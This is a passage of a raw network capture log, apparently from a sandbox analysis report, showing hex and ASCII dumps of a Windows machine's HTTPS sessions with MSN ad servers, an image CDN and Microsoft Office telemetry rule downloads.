23 32 36 3f bb 53 79 01 21 fe 15 ff 00 d9 68 02 17 1f bb Data Ascii: oZk)5$'_{x+wEr&[?{EY5z=7oO=Ez\*k]is<Nmnw59Y/i16/)UJ!Q[5j5Z6BnM%KJhKv7Fz4Fe_Vg{P~9#26?Sy!h
2024-11-20 17:57:55 UTC	16384	IN	Data Raw: 13 3d cd 42 f7 30 22 b3 99 57 0a b9 a9 2e 22 f3 17 1b 99 7f dd ac 0d 53 44 75 91 a4 85 99 bf d9 aa 8a 4f 72 64 da d8 7c d7 ef 2d d2 b4 6b ba 29 1b 1b 99 7e 5f c2 b4 ad d6 0e 9f 7b e5 fb bf c3 59 d6 7a 6c f1 c3 f7 b8 fe 24 6a b2 d3 db d9 6d fb 44 bb 5b fb bb 6a e5 67 b1 31 f3 2d 3a c5 12 b3 aa ed 2c b8 f9 6b 09 74 d3 71 a9 34 92 2f 98 19 48 5d d4 97 fa c4 93 48 ac 9b 92 35 6f d3 de af 69 ba 8e e9 3f 7a bb 55 b8 5f 97 e6 a6 94 a2 ae 0d a9 32 1b 7d 11 23 91 4a 4b e5 b5 5f 7b 01 24 7b 25 f9 87 fe 84 2a 75 85 25 5f 30 37 1f ec d5 95 50 17 1d aa 1c d9 4a 09 19 4b a4 43 53 26 9b 0a f4 5d a3 f8 aa fb e2 93 24 6d cd 2e 66 1c a8 a4 d6 4a 36 90 bf 75 aa 65 84 74 7e 95 66 8c 7b 52 b8 ec 47 d2 8f ad 3f 14 6d ed 48 64 54 54 8c bf 35 26 29 dc 56 1a c3 34 98 f6 a7 63 34 Data Ascii: =B0"W."SDuOrd\|-k)~_{Yzl$jmD[jg1-:,ktq4/H]H5oi?zU_2}#JK_{${%*u%_07PJKCS&]$m.fJ6uet~f{RG?mHdTT5&)V4c4
2024-11-20 17:57:55 UTC	16384	IN	Data Raw: 3b 58 1f e1 3b ff 00 9d 5f b4 b2 d0 d3 99 3d d1 4e 4b 0d 4e 48 d7 c8 b9 82 fa 2d df 34 91 48 19 a4 f6 50 c0 64 8f 63 4d 48 52 2f dd 5e 5c dc e5 bf e7 a5 b0 5d be c7 6f a5 68 ea 97 b6 77 6b 6f 1c 4c bf bb e5 56 7b 6c ae cf 6c 54 89 78 55 96 53 e4 6d 91 7f d5 ce c3 63 7b 8d c7 38 a5 ce df 42 5d 9b 33 d7 ca 92 46 22 fa 78 be 55 3e 5f 96 57 8e d8 03 8d a7 de a7 f2 1e 09 23 02 5b 4f f5 9f 32 c9 0b b2 7d 07 5f d0 e2 b6 23 97 40 be 92 44 b9 83 4f 85 5b 01 5a 39 0e e5 27 ae 71 db d0 e6 ac 36 8f a5 46 d1 47 16 ab 73 15 d6 ef 9a 38 d4 3c 6a 3b 64 f4 c5 43 92 dc a7 45 c9 5d 18 10 c3 32 c8 ce 2f 20 80 37 f0 ac 9f 79 07 a6 4f 1f 4a 92 e2 d4 f9 6a e6 2f b5 15 6c 6e 5f bb d3 9c 11 d2 b6 9f 40 8e 3f 9c cf 67 74 37 10 ab 22 95 93 3e a5 b9 00 53 ed bc 39 67 35 d6 6e 16 4b Data Ascii: ;X;_=NKNH-4HPdcMHR/^\]ohwkoLV{llTxUSmc{8B]3F"xU>_W#[O2}_#@DO[Z9'q6FGs8<j;dCE]2/ 7yOJj/ln_@?gt7">S9g5nK
2024-11-20 17:57:55 UTC	16384	IN	Data Raw: 15 f8 81 7d 1a ac f7 9e 19 be dd fc 2f a3 c9 37 d7 39 35 c5 f8 bb 48 f0 96 8b 71 24 5a c7 88 fc 2f 6b 7f 14 81 25 8f 4f d1 e5 59 23 3f f6 ce 41 d3 f9 d6 37 c4 5f 8b da ef 88 66 82 da d9 1b 4a 8e ce 4c c4 da 7b 48 8f 33 e0 82 5c 92 32 a7 b2 9e fd eb 82 b0 fb 3f f6 94 1f 68 5b c9 e4 64 69 3e cd 1b 7f ab 19 e3 2d d7 71 3e f8 af 7b 0f 85 ae 95 e7 ee f9 24 63 5b 11 46 f6 82 bf a9 ed 9a 1f 87 f4 bb 75 91 ac be 30 41 14 51 b0 0c aa c5 97 2c 33 8c 3b 1d df 87 4a ea b4 1f 0c 5e ea d6 6b 2e 9d f1 13 4d bc 5f b8 d2 25 a4 4e cc 7d 08 0e 0e ef c2 be 63 93 51 b9 8a e2 7c dc f9 5f bc 1b a0 59 31 26 07 51 c0 c2 e7 a7 1d 6a 58 ee 35 08 37 5c 1b 6f 29 b8 f2 a3 59 3f 78 c7 3c 65 87 38 1d 6b 4a b9 65 49 ea e4 be e5 fe 46 71 c5 42 fa c3 f1 67 d2 d7 da 4d ed ab 49 15 d7 c4 af Data Ascii: }/795Hq$Z/k%OY#?A7_fJL{H3\2?h[di>-q>{$c[Fu0AQ,3;J^k.M_%N}cQ\|_Y1&QjX57\o)Y?x<e8kJeIFqBgMI
2024-11-20 17:57:55 UTC	16384	IN	Data Raw: 0d d0 36 1f 3f ee e7 06 94 fc 41 f8 8b 6b 71 b2 ff 00 e1 a5 b4 8f d7 74 6c ea ad f8 8c 8c d7 5b 25 ae 8a ad b0 e9 53 ab 7f cf 45 93 6f 1e e3 26 9c cf a7 c5 1e 7f b3 2e 70 b8 3b 96 52 bb 7f 1c f4 a4 b1 b4 be d6 1e 3f 8a ff 00 db 84 ea 54 e8 ce 59 3e 2c 6a 90 c3 e6 de 7c 32 d6 e3 0a d8 66 8d be 4c f6 db 91 51 1f 8d 7a 69 b8 58 24 f0 77 88 17 73 61 95 55 19 94 f7 e3 b9 ae aa e2 5b 33 0a c8 2d a3 6f 33 21 65 91 89 da 4f 5e 33 fc aa 35 8b 4e 58 d5 25 d3 23 f3 77 7c a9 1b 1f 9b 8e e7 3d 7b e3 34 fe b1 82 7a bc 3f dd 26 2f 6b 53 b9 8b 6b f1 8f c2 69 74 a2 f3 45 f1 05 89 e4 32 cf 68 8c 3f 1c 1a b5 ff 00 0b 7f e1 d1 91 7c eb 9d 4a db cd 51 b7 ce b0 75 e3 fe 02 6b 61 34 8d 3e 78 57 66 8b 73 e6 34 9f 32 b4 87 6e 0f af f4 c5 36 e7 42 d0 9a 6d f7 16 d2 61 b8 6f 37 e6 Data Ascii: 6?Akqtl[%SEo&.p;R?TY>,j\|2fLQziX$wsaU[3-o3!eO^35NX%#w\|={4z?&/kSkitE2h?\|JQuka4>xWfs42n6Bmao7
2024-11-20 17:57:55 UTC	16384	IN	Data Raw: ed be de 95 e7 e6 18 a9 e1 da 84 6c 8e dc bf 0f f5 8b d4 77 7f 91 c3 68 be 1c b7 86 16 8a d1 3c a8 9b ef 32 b7 de 3e a5 8f de a7 5b 59 69 e6 e2 58 bc d5 b9 31 36 24 8e 26 3b 73 ee 78 cd 77 92 68 5b 95 bc c9 e3 50 ff 00 c5 b7 7b 2f d3 b5 51 d2 7c 17 a1 e9 92 3d c8 89 a5 91 f2 7f 78 c7 6f fd f2 38 fc eb c5 78 b8 ca ee 4d dc f6 15 0a a9 d9 2b 23 9e b9 b0 bd ba 8f cb b2 f2 e3 55 5f 9b 6f c8 bf 42 6a bb f8 76 04 92 31 2c ea bd 37 49 bb 73 31 ef 81 5d b5 c5 bc 49 1e 04 5b c7 f0 aa b7 f4 ac dd 42 d3 4f 10 f9 93 c5 e5 85 e3 ef 1c b7 b0 ee 7f 0a 88 e2 19 b7 b3 e5 89 ce 7f 63 e9 71 dc 2a 49 7d 2b 16 fe 1f ba df 9d 59 6d 12 c3 ce 69 24 56 61 b7 1b 5d 8f e7 9f 5a be b6 91 1f 9f ec cb 6d 1a fd 1a 46 fc 4e 76 fe 1c d3 9d 6c d5 76 fd 9a 3f fd 0b 6f e2 69 ba de 61 1f 32 Data Ascii: lwh<2>[YiX16$&;sxwh[P{/Q\|=xo8xM+#U_oBjv1,7Is1]I[BOcq*I}+Ymi$Va]ZmFNvlv?oia2
2024-11-20 17:57:55 UTC	16065	IN	Data Raw: dd 3f fd 74 e7 82 62 cd e6 40 bf 2f dd 6a c9 71 6a 8a b2 a1 1b 7c bf c8 5c 87 98 35 f7 c4 85 65 31 78 ab 52 ca b6 37 46 c4 6e 1f 5d b5 1d c6 a1 f1 1d a3 65 3e 2c d4 37 75 dd bb e6 e3 b7 4a f5 35 8e 7d db 56 2f 95 7e ea ab 7d df f0 a7 2a 5c 48 ac e1 79 ff 00 78 7c df 5a b5 c5 94 b7 78 78 fd d1 ff 00 21 f2 23 ca 74 fd 77 e2 65 9a ee 1e 25 92 e5 55 4e df b4 a8 93 6e 7d 72 b5 a5 0f 8e 3e 26 0b 38 d3 ed 3a 6e c5 fe 2f b1 2e d5 20 75 c8 e4 d7 a1 7d 9a 4f 33 cc 31 6d 2d fd da b2 da 7d a0 92 35 92 08 18 33 6d 56 6f e8 2a 65 c5 38 59 bd 70 b1 fb 97 f9 0b 91 9e 5e fe 3c f8 a3 b6 39 12 7d 3d 5b f8 b6 d9 27 cd f5 a5 5f 89 9f 14 46 e4 96 d7 4f 66 fe ef d9 30 ab ee 30 d5 eb 12 68 da 5b 7f cb 0b 69 36 ff 00 d3 2d bb 73 fd 29 8b e1 dd 35 b7 66 da d9 46 dc 6e db fc 87 5a Data Ascii: ?tb@/jqj\|\5e1xR7Fn]e>,7uJ5}V/~}\Hyx\|Zxx!#twe%UNn}r>&8:n/. u}O31m-}53mVoe8Yp^<9}=['_FOf00h[i6-s)5fFnZ
2024-11-20 17:57:55 UTC	16384	IN	Data Raw: 39 04 67 8c d5 45 bc 96 ca 45 ba 8a 58 e4 8d 58 88 e0 93 21 e3 1f ed 67 b7 d2 b4 af a5 3a be 8f 15 bc ab 27 9b 1b 6f dc bf 73 9e e4 7f 12 e3 b5 65 0a 7e ca 5a 7c 2c 57 b9 62 6b 9b 89 6d 56 e6 de 55 69 1b fd 62 b6 59 71 dc 01 4a da d0 9a 69 33 3b 4f e5 c8 3f 84 fe e7 d9 7b 55 4b 0f b4 44 cb 1b ca b2 f9 7c 6d 8d 71 bb 3d c1 1d 2a 4b 68 a7 37 5f 68 b6 b3 b4 8a 26 8c f9 89 1b 6e e4 75 27 bf 23 f5 aa f7 53 d4 7a 96 b5 5b c4 4f 91 1d bc b9 17 2d fd ef a1 f4 ac 66 d4 92 38 e3 0f 13 31 8d 71 fe cf d4 d3 75 c3 71 12 f9 88 ad 24 31 ae 23 6f bb b7 f0 eb 58 91 dd f9 8d 8f 37 70 5f bd e6 7d da e9 a5 4d 34 43 91 d4 68 f7 a9 2a b2 6e 55 0c df c5 fc f8 ed f5 ad ab 3b ab 7b 25 59 3c f6 96 4d b8 55 db bf 9f 45 ff 00 eb d7 19 a4 dd 4c 8c d2 45 e5 ee dd f2 b6 dd be dc 56 a4 Data Ascii: 9gEEXX!g:'ose~Z\|,WbkmVUibYqJi3;O?{UKD\|mq=Kh7_h&nu'#Sz[O-f81quq$1#oX7p_}M4ChnU;{%Y<MUELEV
2024-11-20 17:57:55 UTC	16384	IN	Data Raw: 51 85 08 47 46 3f 97 b5 41 61 3e 89 a3 e9 ec 47 d9 ad a6 9f 2e f1 45 99 24 ff 00 79 cf 56 e9 5e 2c 52 75 9d 79 5e 73 fb 90 9c 5b d1 e8 70 10 68 5e 2f d7 f4 f9 6f 6e ec 6d 2c e1 93 ee ae a5 3e cf b5 36 79 64 4c e5 17 15 ea 3f 0f fc 3f 65 e1 af 0d e9 e2 f7 4a b4 93 56 65 32 33 4d 8d b6 a4 82 02 a1 3c 11 b7 a9 a4 f0 96 bd 6a cc d7 31 e9 cd 79 2b 49 b3 cd b9 87 74 71 e0 72 c3 d7 d2 b6 f5 bd 63 43 d2 34 d8 ae 2f e0 59 26 b9 cf 97 69 68 c1 e6 62 7d 0b 67 0d fe c8 a7 98 63 b1 33 4a 8b 85 a2 de cb f2 dc b8 d3 4b 62 f5 86 a3 77 2d ac 62 da e7 4d 55 5c 3c 92 46 bb 61 8f 3c fc 8b 8c 3b 0f 51 58 1e 30 93 c1 fa 8e ad 15 c6 b7 1f fc 4c 2c 7e 78 2e 64 63 1e d0 7b 93 d0 8c fb 16 cd 65 78 ee fe 3d 5b 47 b1 b8 d4 ef 1a c7 49 8f 12 35 8c 51 ec 56 4e 8a a1 d4 06 0c 4f b6 33 Data Ascii: QGF?Aa>G.E$yV^,Ruy^s[ph^/onm,>6ydL??eJVe23M<j1y+ItqrcC4/Y&ihb}gc3JKbw-bMU\<Fa<;QX0L,~x.dc{ex=[GI5QVNO3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49912	23.96.180.189	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:55 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=28E93D09C21660CD09BC2834C3746145&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=0348a76b81654ad6943db14a7c28a0a2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 17:57:55 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2727 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132713-T700343879-C128000000002113509+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113509+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 17:57:55 GMT Connection: close
2024-11-20 17:57:55 UTC	2727	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 43 7a 65 63 68 20 52 65 70 75 62 6c 69 63 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 43 7a 65 63 68 2b 77 69 6e 65 26 66 69 6c 74 65 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Czech Republic\",\"cta\":\"https:\/\/www.bing.com\/search?q=Czech+wine&filte

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175755Z-185f5d8b95c9mqtvhC1NYCghtc0000000ah0000000015x63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:55 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175755Z-r1d97b9957789nh9hC1TEBxha8000000096g00000000uegh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:55 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:56 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175756Z-1777c6cb7549j9hhhC1TEBzmcc00000009v000000000fccc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:56 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:56 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:56 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175756Z-185f5d8b95c4bhwphC1NYCs8gw0000000atg000000003t0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:56 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:56 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:56 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175756Z-185f5d8b95crwqd8hC1NYCps680000000afg00000000wuuu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49919	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
